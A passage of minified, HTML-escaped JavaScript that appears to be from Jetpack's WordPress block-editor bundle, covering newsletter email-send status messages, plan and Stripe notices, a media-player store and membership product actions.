t=e(c.store).getEditedPostAttribute(&quot;meta&quot;);return t?.[f.KG]?&quot;post-only&quot;:&quot;post-and-email&quot;});return d?null:(0,v.jsx)(c.PostVisibilityCheck,{render:({canEdit:t})=&gt;(0,v.jsxs)(o.__experimentalToggleGroupControl,{value:h,disabled:e||!t,onChange:p,isBlock:!0,label:__(&quot;Send as email to subscribers?&quot;,&quot;jetpack&quot;),hideLabelFromVision:!0,className:&quot;jetpack-subscribe-email-document-setting&quot;,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,children:[(0,v.jsx)(o.__experimentalToggleGroupControlOption,{label:__(&quot;Post &amp; email&quot;,&quot;jetpack&quot;),value:&quot;post-and-email&quot;}),(0,v.jsx)(o.__experimentalToggleGroupControlOption,{label:__(&quot;Post only&quot;,&quot;jetpack&quot;),value:&quot;post-only&quot;})]})})}},12045(e,t,s){&quot;use strict&quot;;s.d(t,{Ay:()=&gt;k});var r=s(97999),n=s(85985),o=s(56427),a=s(47143),i=s(43656),l=s(86087),c=s(27723),u=s(64524),d=s(37906),p=s(16521),h=s(10790);const __=c.__,m=(e,t,s=!0)=&gt;{if(!s&amp;&amp;!e?.length)return&quot;&quot;;const r=e?.length?e:[1],n=r.some(e=&gt;!t.some(t=&gt;t.id===e)),o=t.filter(e=&gt;r.includes(e.id)).map(e=&gt;e.name);n&amp;&amp;o.push(__(&quot;All content&quot;,&quot;jetpack&quot;));const a=o.map(e=&gt;`&lt;strong&gt;${e}&lt;/strong&gt;`);let i=&quot;&quot;;if(1===a.length)i=a[0];else if(2===a.length)
// translators: %1$s: first category name, %2$s: second category name
i=(0,c.sprintf)(__(&quot;%1$s and %2$s&quot;,&quot;jetpack&quot;),...a);else{const e=a.slice(0,-1).join(`${__(&quot;,&quot;,&quot;jetpack&quot;)} `),t=a[a.length-1];i=(0,c.sprintf)(
// translators: %1$s: a comma-separated list of category names except for the last one, %2$s: the name of the last category
__(&quot;%1$s, and %2$s&quot;,&quot;jetpack&quot;),e,t)}return i};function g(e,t=null,s=!1){return&quot;paid_subscribers&quot;===e&amp;&amp;s?__(&quot;all subscribers&quot;,&quot;jetpack&quot;):function(e,t=null){if(!e)return __(&quot;all subscribers&quot;,&quot;jetpack&quot;);let s;switch(e){case&quot;everybody&quot;:case&quot;subscribers&quot;:default:s=__(&quot;all subscribers&quot;,&quot;jetpack&quot;);break;case&quot;paid_subscribers&quot;:s=__(&quot;paid subscribers&quot;,&quot;jetpack&quot;)}return t&amp;&amp;&quot;paid_subscribers&quot;===e?(0,c.sprintf)(
// translators: %1$s: access level label (e.g. &quot;paid subscribers&quot;), %2$s: tier name (e.g. &quot;Premium&quot;)
__(&quot;%1$s (%2$s)&quot;,&quot;jetpack&quot;),s,t):s}(e,t)}function f(e,t,s){const r=t?.[d.a7];return e===d.P2.paid_subscribers.key&amp;&amp;r?s?.find(e=&gt;String(e.id)===String(r))?.title??null:null}function b({accessLabel:e,categoryNames:t,tense:s,dateStr:r}){const n=&quot;past&quot;===s,o=&quot;future&quot;===s;return n&amp;&amp;r&amp;&amp;!e?(0,c.sprintf)(/* translators: %s: formatted date */
__(&quot;This post was emailed on %s. View &lt;link&gt;delivery details&lt;/link&gt;.&quot;,&quot;jetpack&quot;),r):t?n?r?(0,c.sprintf)(/* translators: %1$s: access (e.g. &quot;all subscribers&quot;), %2$s: category list, %3$s: date */
__(&quot;This post was emailed to %1$s of %2$s on %3$s. View &lt;link&gt;delivery details&lt;/link&gt;.&quot;,&quot;jetpack&quot;),e,t,r):(0,c.sprintf)(/* translators: %1$s: access (e.g. &quot;all subscribers&quot;), %2$s: category list */
__(&quot;This post was emailed to %1$s of %2$s. View &lt;link&gt;delivery details&lt;/link&gt;.&quot;,&quot;jetpack&quot;),e,t):o?(0,c.sprintf)(/* translators: %1$s: access, %2$s: category list */
__(&quot;This post will be emailed to %1$s of %2$s.&quot;,&quot;jetpack&quot;),e,t):(0,c.sprintf)(/* translators: %1$s: access, %2$s: category list */
__(&quot;This post is being emailed to %1$s of %2$s. &lt;link&gt;Delivery details&lt;/link&gt; will be available shortly.&quot;,&quot;jetpack&quot;),e,t):n?r?(0,c.sprintf)(/* translators: %1$s: access, %2$s: date */
__(&quot;This post was emailed to %1$s on %2$s. View &lt;link&gt;delivery details&lt;/link&gt;.&quot;,&quot;jetpack&quot;),e,r):(0,c.sprintf)(/* translators: %s: access */
__(&quot;This post was emailed to %s. View &lt;link&gt;delivery details&lt;/link&gt;.&quot;,&quot;jetpack&quot;),e):o?(0,c.sprintf)(/* translators: %s: access level */
__(&quot;This post will be emailed to %s.&quot;,&quot;jetpack&quot;),e):(0,c.sprintf)(/* translators: %s: access level */
__(&quot;This post is being emailed to %s. Delivery details can be seen on &lt;link&gt;your email stats page&lt;/link&gt; shortly.&quot;,&quot;jetpack&quot;),e)}function v(e,t){return(0,r.getAdminUrl)(`admin.php?page=stats#!/stats/email/opens/day/${t}/${e}`)}const k=function({accessLevel:e,prePublish:t=!1}){const s=(0,a.useSelect)(e=&gt;e(&quot;core/block-editor&quot;).getBlocks().some(e=&gt;e.name===u.name)),{isScheduledPost:r,postCategories:c,postId:k,postMeta:y,publishDate:x,status:j}=(0,a.useSelect)(e=&gt;{const{isCurrentPostScheduled:t,getEditedPostAttribute:s,getCurrentPost:r}=e(i.store),n=r(),o=n?.status,a=n?.date,l=a?new Date(a):null;return{isScheduledPost:t(),postCategories:s(&quot;categories&quot;),postId:n?.id,postMeta:s(&quot;meta&quot;),publishDate:l,status:o}}),w=()=&gt;!y?.[d.KG],_=window.Jetpack_Editor_Initial_State?.wpcomBlogId,{hasFinishedLoading:C,newsletterCategories:A,newsletterCategoriesEnabled:S,postEmailSentState:E,tierProducts:N,totalEmailsSentCount:T,alreadySentPostModifiedInSession:B,publishedWithEmailEnabledInSession:P}=(0,a.useSelect)(e=&gt;{const{getNewsletterCategories:t,getNewsletterCategoriesEnabled:s,getNewsletterTierProducts:r,getPostEmailSentState:n,getPublishedWithEmailEnabledInSession:o,getAlreadySentPostModifiedInSession:a,getTotalEmailsSentCount:i,hasFinishedResolution:l}=e(p.M);k&amp;&amp;n(k);const c=!k||l(&quot;getPostEmailSentState&quot;,[k]),u=k?n(k):null,d=k&amp;&amp;_&amp;&amp;c&amp;&amp;null==(u?.email_sent_at??null)&amp;&amp;&quot;publish&quot;===j;return{hasFinishedLoading:[l(&quot;getNewsletterCategories&quot;),c].every(Boolean),newsletterCategories:t(),newsletterCategoriesEnabled:s(),postEmailSentState:u,alreadySentPostModifiedInSession:!!k&amp;&amp;a(k),publishedWithEmailEnabledInSession:!!k&amp;&amp;o(k),tierProducts:r(),totalEmailsSentCount:d?i(_,k):null}},[k,_,j]);if(!C)return(0,h.jsx)(o.Animate,{type:&quot;loading&quot;,children:({className:e})=&gt;(0,h.jsx)(&quot;p&quot;,{className:`jetpack-subscribe-affirmation-loading ${e}`,children:__(&quot;Loading…&quot;,&quot;jetpack&quot;)})});const I=t||r,M=E?.email_sent_at??null,L=E?.stats_on_send??null,R=E?.email_sent_at??E?.stats_on_send?.timestamp??&quot;&quot;,D=L?g(L.access_level,L.paid_tier??null,!0===L.has_paywall_block):&quot;&quot;,F=L?m(L.post_categories,A,!1):&quot;&quot;,O=g(e,f(e,y,N),s),z=S&amp;&amp;A?.length&amp;&amp;c?.length?m(c,A):&quot;&quot;,U=null!=M||L,H=!U&amp;&amp;(T??0)&gt;0,q=&quot;publish&quot;===j&amp;&amp;w()&amp;&amp;null==M&amp;&amp;(P||x&amp;&amp;x.getTime()&gt;=Date.now()-9e5),V=&quot;publish&quot;===j&amp;&amp;null==M&amp;&amp;!q;let $,G=!1;return U?($=b({accessLabel:D,categoryNames:F,tense:&quot;past&quot;,dateStr:R}),w()&amp;&amp;null!==M&amp;&amp;(G=function({statsOnSend:e,postMeta:t,accessLevel:s,tierProducts:r,postCategories:n,alreadySentPostModifiedInSession:o,prePublish:a}){const i=e?.access_level,l=e?.paid_tier??null,c=e?.post_categories??[],u=f(s,t,r),d=(!i||i===s)&amp;&amp;(!l&amp;&amp;!u||l&amp;&amp;u&amp;&amp;l===u),p=!e?.has_newsletter_categories||Array.isArray(n)&amp;&amp;c.length===n.length&amp;&amp;c.every(e=&gt;n.includes(e));return o||a||!d||!p}({statsOnSend:L,postMeta:y,accessLevel:e,tierProducts:N,postCategories:c,alreadySentPostModifiedInSession:B,prePublish:t}))):$=H?__(&quot;This post was emailed to subscribers. View &lt;link&gt;delivery details&lt;/link&gt;.&quot;,&quot;jetpack&quot;):(0,n.lk)()?__(&quot;Your site is in Coming Soon mode. Emails are sent only when your site is public.&quot;,&quot;jetpack&quot;):q?b({accessLabel:O,categoryNames:z,tense:&quot;present&quot;,dateStr:&quot;&quot;}):V?__(&quot;This post was published without sending an email. To send, move the post to draft, enable &#039;Post and email,&#039; and republish.&quot;,&quot;jetpack&quot;):w()?b({accessLabel:O,categoryNames:z,tense:I?&quot;future&quot;:&quot;present&quot;,dateStr:&quot;&quot;}):__(&quot;Not sent via email.&quot;,&quot;jetpack&quot;),(0,h.jsxs)(h.Fragment,{children:[(0,h.jsx)(&quot;p&quot;,{children:(0,l.createInterpolateElement)($,{strong:(0,h.jsx)(&quot;strong&quot;,{}),link:(0,h.jsx)(&quot;a&quot;,{href:v(_,k)})})}),G&amp;&amp;(0,h.jsx)(&quot;p&quot;,{children:(0,l.createInterpolateElement)(__(&quot;Updating, republishing, or changing access settings &lt;strong&gt;won&#039;t&lt;/strong&gt; resend the email.&quot;,&quot;jetpack&quot;),{strong:(0,h.jsx)(&quot;strong&quot;,{})})})]})}},64234(e,t,s){&quot;use strict&quot;;s.d(t,{Qu:()=&gt;l,fI:()=&gt;c,mf:()=&gt;u});var r=s(56427),n=s(86087),o=s(27723),a=s(37906),i=s(10790);const __=o.__,l=e=&gt;{const t=&quot;https://wordpress.com/earn/payments/&quot;+location.hostname;return e?t:t+&quot;#add-tier-plan&quot;},c=(e,t)=&gt;&quot;public&quot;!==e&amp;&amp;t!==a.P2.everybody.key,u=()=&gt;(0,i.jsx)(r.Notice,{status:&quot;warning&quot;,isDismissible:!1,className:&quot;edit-post-post-misconfiguration__warning&quot;,children:(0,n.createInterpolateElement)(__(&quot;You’ll need to change the post’s access to Everybody or visibility to Public.&lt;br/&gt;&lt;br/&gt;Subscribers aren’t able to view private or password-protected posts.&quot;,&quot;jetpack&quot;),{br:(0,i.jsx)(&quot;br&quot;,{})})})},14435(e,t,s){&quot;use strict&quot;;var r=s(97999),n=s(85985),o=s(1455),a=s.n(o),i=s(47143),l=s(27723);s(692);const __=l.__;function c(){const e=(0,n.GE)();return window?.location&amp;&amp;e?(0,r.isWpcomPlatformSite)()?`https://wordpress.com/plans/my-plan/${e}`:`${window.location.protocol}//${e.replace(&quot;::&quot;,&quot;/&quot;)}/wp-admin/admin.php?page=jetpack#/my-plan`:null}(async()=&gt;{if(window?.location){if(new URLSearchParams(window.location.search).get(&quot;plan_upgraded&quot;)){let e=null;try{if((0,r.isSimpleSite)()){const t=await a()({path:`/sites/${parseInt(window?.Jetpack_Editor_Initial_State?.wpcomBlogId)||0}`,apiNamespace:&quot;rest/v1.1&quot;});t?.plan&amp;&amp;(e=t.plan.product_name_short)}else{const t=await a()({path:&quot;/jetpack/v4/site&quot;});e=JSON.parse(t.data).plan.product_name}}finally{const t=c();(0,i.dispatch)(&quot;core/notices&quot;).createNotice(&quot;success&quot;,e?(0,l.sprintf)(/* translators: %s is the plan name, such as Jetpack Premium. */
__(&quot;Congratulations! Your site is now on the %s plan.&quot;,&quot;jetpack&quot;),e):__(&quot;Congratulations! Your site is now on a paid plan.&quot;,&quot;jetpack&quot;),{isDismissible:!0,...t&amp;&amp;{actions:[{url:c(),label:__(&quot;View my plan&quot;,&quot;jetpack&quot;)}]}})}}}})()},79366(e,t,s){&quot;object&quot;==typeof window&amp;&amp;window.Jetpack_Block_Assets_Base_Url&amp;&amp;(s.p=window.Jetpack_Block_Assets_Base_Url)},59740(e,t,s){&quot;use strict&quot;;var r=s(74997),n=s(47143),o=s(93832),a=s(30552);const{url:i,title:l,text:c,comment_content:u,comment_author:d}=(0,o.getQueryArgs)(window.location.href);i&amp;&amp;(async()=&gt;{await(0,a.O)();const e=[];if(c&amp;&amp;c!==l){const t=`&lt;a href=&quot;${i}&quot;&gt;${l}&lt;/a&gt;`;e.push((0,r.createBlock)(&quot;core/quote&quot;,{value:`&lt;p&gt;${c}&lt;/p&gt;`,citation:t}))}u&amp;&amp;e.push((0,r.createBlock)(&quot;core/quote&quot;,{value:u,citation:d})),e.push((0,r.createBlock)(&quot;core/embed&quot;,{url:i,type:&quot;wp-embed&quot;})),(0,n.dispatch)(&quot;core/editor&quot;).resetEditorBlocks(e)})()},94375(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i,M:()=&gt;l});var r=s(85985),n=s(74997),o=s(52619);const a=&quot;jetpack/&quot;;function i(e,t,s=[],i=!0){const l=&quot;string&quot;==typeof e?e:e.name,c=l.startsWith(a),u=c?l.slice(8):l,{available:d,details:p,unavailableReason:h}=(0,r.FB)(u),m=(0,r.aq)(h,p),g=i||c?a:&quot;&quot;;if(!d&amp;&amp;!m)return!1;const f=g+u,b=(0,n.registerBlockType)(&quot;object&quot;==typeof e?e:f,t);return m&amp;&amp;(0,o.addFilter)(&quot;editor.BlockListBlock&quot;,`${f}-with-has-warning-is-interactive-class-names`,(0,r.BT)(f)),s.forEach(e=&gt;(0,n.registerBlockType)(g+e.name,e.settings)),b}function l(e,t,s,n){return i(e,{...t,icon:(0,r.Cq)(e),attributes:e.attributes||{}},s,n)}},62289(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(5573),n=s(10790);const o=(e,t=24,s=24,o=&quot;0 0 24 24&quot;)=&gt;(0,n.jsxs)(r.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,width:t,height:s,viewBox:o,children:[(0,n.jsx)(r.Path,{fill:&quot;none&quot;,d:&quot;M0 0h24v24H0V0z&quot;,className:&quot;icon-filler&quot;}),e]})},64882(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(94715),n=s(13022),o=s(10790);const a=(e,t,s,a,i,l={})=&gt;{const{isSelected:c}=t,u=t.attributes[e];return l.className=(0,n.A)(l.className,`jetpack-${e}-block`,{&quot;is-selected&quot;:c}),(0,o.jsxs)(&quot;div&quot;,{...l,children:[!c&amp;&amp;&quot;&quot;!==u&amp;&amp;a(t),(c||&quot;&quot;===u)&amp;&amp;(0,o.jsx)(r.PlainText,{value:u,placeholder:s,&quot;aria-label&quot;:s,onChange:i})]})}},21929(e,t,s){&quot;use strict&quot;;var r=s(47143),n=s(27723);s(692);const __=n.__;if(&quot;undefined&quot;!=typeof window&amp;&amp;window.location){const e=new URLSearchParams(window.location.search);e.get(&quot;stripe_connect_success&quot;)?(0,r.dispatch)(&quot;core/notices&quot;).createNotice(&quot;success&quot;,__(&quot;Congrats! Your site is now connected to Stripe. You can now start accepting funds!&quot;,&quot;jetpack&quot;)):e.get(&quot;stripe_connect_cancelled&quot;)&amp;&amp;(0,r.dispatch)(&quot;core/notices&quot;).createNotice(&quot;error&quot;,__(&quot;You cancelled connecting your site to Stripe.&quot;,&quot;jetpack&quot;))}},56145(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(1455),n=s.n(r);const o=()=&gt;{};function a(e,t=o){return t(!0),new Promise((s,r)=&gt;{n()({path:`/wpcom/v2/resolve-redirect/?url=${encodeURIComponent(e)}`}).then(n=&gt;{t(!1);const o=n.status?parseInt(n.status,10):null;o&amp;&amp;o&gt;=400?r():s(n.url||e)},()=&gt;{t(!1),r()})})}},26247(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(39384),n=s(97999);const o=()=&gt;{const{isUserConnected:e}=(0,r.useConnection)();return(0,n.isSimpleSite)()||e}},89303(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(86087);function n({attributes:e,disableEffects:t=!1,setAttributes:s}){const{align:n,width:o}=e,a=(e=&gt;{const t=(0,r.useRef)(void 0);return(0,r.useEffect)(()=&gt;{t.current=e},[e]),t.current})(n);(0,r.useEffect)(()=&gt;{if(t)return;a!==n&amp;&amp;(&quot;left&quot;===n||&quot;right&quot;===n)&amp;&amp;o?.includes(&quot;%&quot;)&amp;&amp;s({width:void 0})},[n,t,a,s,o])}},30552(e,t,s){&quot;use strict&quot;;s.d(t,{O:()=&gt;n});var r=s(47143);function n(){return new Promise((e,t)=&gt;{if(o())return void e();const s=(0,r.subscribe)(()=&gt;{o()&amp;&amp;(clearTimeout(n),s(),e())}),n=setTimeout(()=&gt;{s(),t(new Error(&quot;Timeout: Waiting for the editor to be ready has timed out.&quot;))},7e3)})}function o(){const e=(0,r.select)(&quot;core/editor&quot;),t=(0,r.select)(&quot;core/block-editor&quot;);return!(!e||!t)&amp;&amp;(e.isCleanNewPost()||e.getCurrentPostId()||t.getBlocks().length&gt;0)}},38062(e,t,s){&quot;use strict&quot;;s.d(t,{D:()=&gt;d,s:()=&gt;p});var r=s(56427),n=s(86087),o=s(27723),a=s(13022),i=(s(20499),s(10790));const __=o.__,l=[{value:&quot;%&quot;,label:&quot;%&quot;,default:100},{value:&quot;px&quot;,label:&quot;px&quot;,default:150},{value:&quot;em&quot;,label:&quot;em&quot;,default:10}],c=[{value:&quot;px&quot;,label:&quot;px&quot;,default:150},{value:&quot;em&quot;,label:&quot;em&quot;,default:10}],u=[&quot;25%&quot;,&quot;50%&quot;,&quot;75%&quot;,&quot;100%&quot;];function d(e){return(0,i.jsx)(r.PanelBody,{title:__(&quot;Width settings&quot;,&quot;jetpack&quot;),children:(0,i.jsx)(p,{showLabel:!1,...e})})}function p({align:e,width:t,onChange:s,showLabel:o=!0}){const[d,p]=(0,n.useState)(&quot;%&quot;);(0,n.useEffect)(()=&gt;{void 0===t&amp;&amp;p(&quot;px&quot;)},[t]);const h=&quot;left&quot;===e||&quot;right&quot;===e;return(0,i.jsxs)(r.BaseControl,{__nextHasNoMarginBottom:!0,children:[o&amp;&amp;(0,i.jsx)(r.BaseControl.VisualLabel,{children:__(&quot;Width&quot;,&quot;jetpack&quot;)}),(0,i.jsxs)(&quot;div&quot;,{className:(0,a.A)(&quot;jetpack-block-width-controls&quot;,{&quot;is-aligned&quot;:h}),children:[!h&amp;&amp;(0,i.jsx)(r.__experimentalToggleGroupControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,&quot;aria-label&quot;:__(&quot;Percentage width&quot;,&quot;jetpack&quot;),isBlock:!0,value:t,onChange:function(e){const r=t===e?void 0:e;p(&quot;%&quot;),s(r)},children:u.map(e=&gt;(0,i.jsx)(r.__experimentalToggleGroupControlOption,{label:e,value:e},e))}),(0,i.jsx)(r.__experimentalUnitControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,isResetValueOnUnitChange:!0,max:&quot;%&quot;===d||t?.includes(&quot;%&quot;)?100:void 0,min:0,onChange:e=&gt;s(e),onUnitChange:e=&gt;p(e),units:h?c:l,value:t})]})]})}},23117(e,t,s){&quot;use strict&quot;;s.d(t,{ax:()=&gt;r,pF:()=&gt;o,v8:()=&gt;n,vh:()=&gt;a});const r=&quot;jetpack/media-source&quot;,n=&quot;is-playing&quot;,o=&quot;is-error&quot;,a=&quot;is-paused&quot;},12088(e,t,s){&quot;use strict&quot;;var r=s(47143),n=s(23117),o=s(11267);if(void 0!==r.createReduxStore){const e=(0,r.createReduxStore)(n.ax,o.A);(0,r.register)(e)}else(0,r.registerStore)(n.ax,o.A)},11267(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(23117);const n={sources:{},default:null},o={registerMediaSource:(e,t)=&gt;({type:&quot;REGISTER_MEDIA_SOURCE&quot;,id:e,mediaSourceState:t}),updateMediaSourceData:(e,t)=&gt;({type:&quot;UPDATE_MEDIA_SOURCE_DATA&quot;,id:e,data:t}),unregisterMediaSource:e=&gt;({type:&quot;UNREGISTER_MEDIA_SOURCE&quot;,id:e}),setDefaultMediaSource:e=&gt;({type:&quot;SET_DEFAULT_MEDIA_SOURCE&quot;,id:e}),playMediaSource:e=&gt;({type:&quot;SET_MEDIA_PLAYER_STATE&quot;,id:e,state:r.v8}),toggleMediaSource:e=&gt;({type:&quot;TOGGLE_MEDIA_PLAYER_STATE&quot;,id:e}),pauseMediaSource:e=&gt;({type:&quot;SET_MEDIA_PLAYER_STATE&quot;,id:e,state:r.vh}),errorMediaSource:e=&gt;({type:&quot;SET_MEDIA_PLAYER_STATE&quot;,id:e,state:r.pF}),setMediaSourceCurrentTime:(e,t)=&gt;({type:&quot;SET_MEDIA_PLAYER_CURRENT_TIME&quot;,id:e,currentTime:t})},a={getDefaultMediaSource(e){let t=null;const s=Object.keys(e.sources);if(e.default?t=e.default:s?.length&amp;&amp;(t=e.sources[s[0]].id),t)return e.sources[t]},getMediaPlayerState(e,t){const s=t?e.sources?.[t]:a.getDefaultMediaSource(e);return s?.state},getMediaSourceCurrentTime(e,t){const s=t?e.sources?.[t]:a.getDefaultMediaSource(e);return s?.currentTime},getMediaSourceDuration(e,t){if(!t){const t=a.getDefaultMediaSource(e);return t?.duration}return e.sources?.[t]?.duration},getMediaSourceDomReference(e,t){const s=t?e.sources?.[t]:a.getDefaultMediaSource(e);if(!s)return;const r=s?.domId;return r?document.getElementById(r):void 0}},i={reducer(e=n,t){const s=t.id||e.default||Object.keys(e.sources)?.[0];switch(t.type){case&quot;REGISTER_MEDIA_SOURCE&quot;:return{...e,sources:{...e.sources,[t.id]:{id:t.id,...t.mediaSourceState}}};case&quot;UPDATE_MEDIA_SOURCE_DATA&quot;:return{...e,sources:{...e.sources,[t.id]:{...e.sources[t.id],...t.data}}};case&quot;UNREGISTER_MEDIA_SOURCE&quot;:{const s=Object.assign({},e);return s.sources[t.id]&amp;&amp;delete s.sources[t.id],t.id===e.default&amp;&amp;(s.default=Object.keys(e.sources)?.[0]),s}case&quot;SET_DEFAULT_MEDIA_SOURCE&quot;:return{...e,default:t.id};case&quot;SET_MEDIA_PLAYER_STATE&quot;:return{...e,sources:{...e.sources,[s]:{...e.sources[s],state:t.state}}};case&quot;TOGGLE_MEDIA_PLAYER_STATE&quot;:return{...e,sources:{...e.sources,[s]:{...e.sources[s],state:e.sources[s].state===r.v8?r.vh:r.v8}}};case&quot;SET_MEDIA_PLAYER_CURRENT_TIME&quot;:return{...e,sources:{...e.sources,[s]:{...e.sources[s],currentTime:t.currentTime}}}}return e},actions:o,selectors:a}},66314(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{saveProduct:()=&gt;b,setAlreadySentPostModifiedInSession:()=&gt;j,setApiState:()=&gt;g,setConnectUrl:()=&gt;h,setConnectedAccountDefaultCurrency:()=&gt;m,setNewsletterCategories:()=&gt;y,setPostEmailSentState:()=&gt;x,setProducts:()=&gt;p,setPublishedWithEmailEnabledInSession:()=&gt;w,setSiteSlug:()=&gt;f,setSubscriberCounts:()=&gt;v,setTotalEmailsSentCount:()=&gt;k});var r=s(54268),n=s(1455),o=s.n(n),a=s(27723),i=s(29726),l=s(1990),c=s(72730),u=s(3696),d=s(34884);const __=a.__,p=e=&gt;({type:&quot;SET_PRODUCTS&quot;,products:e}),h=e=&gt;({type:&quot;SET_CONNECT_URL&quot;,connectUrl:e}),m=e=&gt;({type:&quot;SET_CONNECTED_ACCOUNT_DEFAULT_CURRENCY&quot;,connectedAccountDefaultCurrency:e}),g=e=&gt;({type:&quot;SET_API_STATE&quot;,apiState:e}),f=e=&gt;({type:&quot;SET_SITE_SLUG&quot;,siteSlug:e}),b=(e,t=i._$,s=()=&gt;{},n=()=&gt;{},h=!0)=&gt;async({dispatch:i,registry:m})=&gt;{const{title:g,price:f,currency:b}=e;if(!g||0===g.length)return(0,d.S)((0,l.W)(&quot;product requires a name&quot;,t),m),void n(!1);const v=parseFloat(f),k=(0,c.dv)(b);if(v&lt;k)return(0,d.S)((0,a.sprintf)(
// translators: %s: Price
__(&quot;Minimum allowed price is %s.&quot;,&quot;jetpack&quot;),(0,r.vv)(k,b)),m),void n(!1);if(!(0,c.kF)(b,v))return(0,d.S)((0,l.W)(&quot;product requires a valid price&quot;,t),m),void n(!1);try{const r=await o()({path:&quot;/wpcom/v2/memberships/product&quot;,method:&quot;POST&quot;,data:e}),a={id:r.id,title:r.title,interval:r.interval,price:r.price,currency:r.currency},c=m.select(u.EF).getProducts();i(p(c.concat([a]))),s([a.id]),h&amp;&amp;(0,d.L)((0,l.W)(&quot;successfully created product&quot;,t),m),n(!0)}catch{(0,d.S)((0,l.W)(&quot;there was an error when adding the product&quot;,t),m),n(!1)}},v=e=&gt;({type:&quot;SET_SUBSCRIBER_COUNTS&quot;,subscriberCounts:e}),k=e=&gt;({type:&quot;SET_TOTAL_EMAILS_SENT_COUNT&quot;,totalEmailsSentCount:e}),y=e=&gt;({type:&quot;SET_NEWSLETTER_CATEGORIES&quot;,newsletterCategories:e}),x=(e,{email_sent_at:t,stats_on_send:s})=&gt;({type:&quot;SET_POST_EMAIL_SENT_STATE&quot;,postId:e,payload:{email_sent_at:t,stats_on_send:s}}),j=e=&gt;({type:&quot;SET_ALREADY_SENT_POST_MODIFIED_IN_SESSION&quot;,postId:e}),w=e=&gt;({type:&quot;SET_PUBLISHED_WITH_EMAIL_ENABLED_IN_SESSION&quot;,postId:e})},3696(e,t,s){&quot;use strict&quot;;s.d(t,{EF:()=&gt;r,JA:()=&gt;o,an:()=&gt;n,gI:()=&gt;a,ky:()=&gt;i});const r=&quot;jetpack/membership-products&quot;,n=0,o=1,a=2,i=&quot;tier&quot;},16521(e,t,s){&quot;use strict&quot;;s.d(t,{M:()=&gt;c});var r=s(47143),n=s(66314),o=s(3696),a=s(91497),i=s(18410),l=s(92955);const c=(0,r.createReduxStore)(o.EF,{actions:n,reducer:a.A,resolvers:i,selectors:l,__experimentalUseThunks:!0});(0,r.register)(c)},91497(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});const r={products:[],apiState:s(3696).an,connectUrl:null,siteSlug:&quot;&quot;,connectedAccountDefaultCurrency:&quot;&quot;,subscriberCounts:{totalSubscribers:null,socialFollowers:null,emailSubscribers:null,paidSubscribers:null},newsletterCategories:{enabled:!1,categories:[]},postEmailSentState:{},alreadySentPostModifiedInSession:{},publishedWithEmailEnabledInSession:{}};function n(e=r,t){switch(t.type){case&quot;SET_PRODUCTS&quot;:return{...e,products:t.products};case&quot;SET_CONNECT_URL&quot;:return{...e,connectUrl:t.connectUrl};case&quot;SET_API_STATE&quot;:return{...e,apiState:t.apiState};case&quot;SET_SITE_SLUG&quot;:return{...e,siteSlug:t.siteSlug};case&quot;SET_CONNECTED_ACCOUNT_DEFAULT_CURRENCY&quot;:return{...e,connectedAccountDefaultCurrency:t.connectedAccountDefaultCurrency};case&quot;SET_SUBSCRIBER_COUNTS&quot;:return{...e,subscriberCounts:t.subscriberCounts};case&quot;SET_TOTAL_EMAILS_SENT_COUNT&quot;:return{...e,totalEmailsSentCount:t.totalEmailsSentCount};case&quot;SET_NEWSLETTER_CATEGORIES&quot;:return{...e,newsletterCategories:t.newsletterCategories};case&quot;SET_POST_EMAIL_SENT_STATE&quot;:return{...e,postEmailSentState:{...e.postEmailSentState,[t.postId]:{email_sent_at:t.payload.email_sent_at??null,stats_on_send:t.payload.stats_on_send??null}}};case&quot;SET_ALREADY_SENT_POST_MODIFIED_IN_SESSION&quot;:return{...e,alreadySentPostModifiedInSession:{...e.alreadySentPostModifiedInSession,[t.postId]:!0}};case&quot;SET_PUBLISHED_WITH_EMAIL_ENABLED_IN_SESSION&quot;:return{...e,publishedWithEmailEnabledInSession:{...e.publishedWithEmailEnabledInSession,[t.postId]:!0}}}return e}},18410(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{getNewsletterCategories:()=&gt;A,getNewsletterTierProducts:()=&gt;j,getPostEmailSentState:()=&gt;S,getProducts:()=&gt;w,getSubscriberCounts:()=&gt;_,getTotalEmailsSentCount:()=&gt;C});var r=s(97999),n=s(1455),o=s.n(n),a=s(43656),i=s(93832),l=s(29726),c=s(1990),u=s(56539),d=s(27574),p=s(66314),h=s(3696),m=s(34884);const g=&quot;membership-products-resolver-getProducts&quot;,f=&quot;membership-products-resolver-getSubscriberCounts&quot;,b=&quot;membership-products-resolver-getTotalEmailsSentCount&quot;,v=&quot;membership-products-resolver-getNewsletterCategories&quot;,k=&quot;membership-products-resolver-getPostEmailSentState&quot;;let y=!1;const x=(e,t,s)=&gt;{if(e.length&gt;0)return;const r=s.getProductsNoResolver()[0]?.id;r&amp;&amp;t([r])},j=(e=l._$,t=[],s=()=&gt;{})=&gt;w(e,t,s,!1),w=(e=l._$,t=[],s=()=&gt;{},r=!0)=&gt;async({dispatch:n,registry:l,select:f})=&gt;{if(await u.A.blockExecution(g),y)return void x(t,s,f);const b=u.A.acquire(g);try{const u=await(async()=&gt;{const e=(0,i.getQueryArg)(window.location.href,&quot;origin&quot;),t=(0,i.addQueryArgs)(&quot;/wpcom/v2/memberships/status&quot;,{source:&quot;https://wordpress.com&quot;===e?&quot;gutenberg-wpcom&quot;:&quot;gutenberg&quot;,type:&quot;all&quot;,is_editable:!0}),s=await o()({path:t,method:&quot;GET&quot;});if(!s&amp;&amp;&quot;object&quot;!=typeof s)throw new Error(&quot;Unexpected API response&quot;);const r=s?.errors&amp;&amp;Object.values(s.errors)?.[0]?.[0];if(r)throw new Error(r);return s})();((e,t,s)=&gt;{const 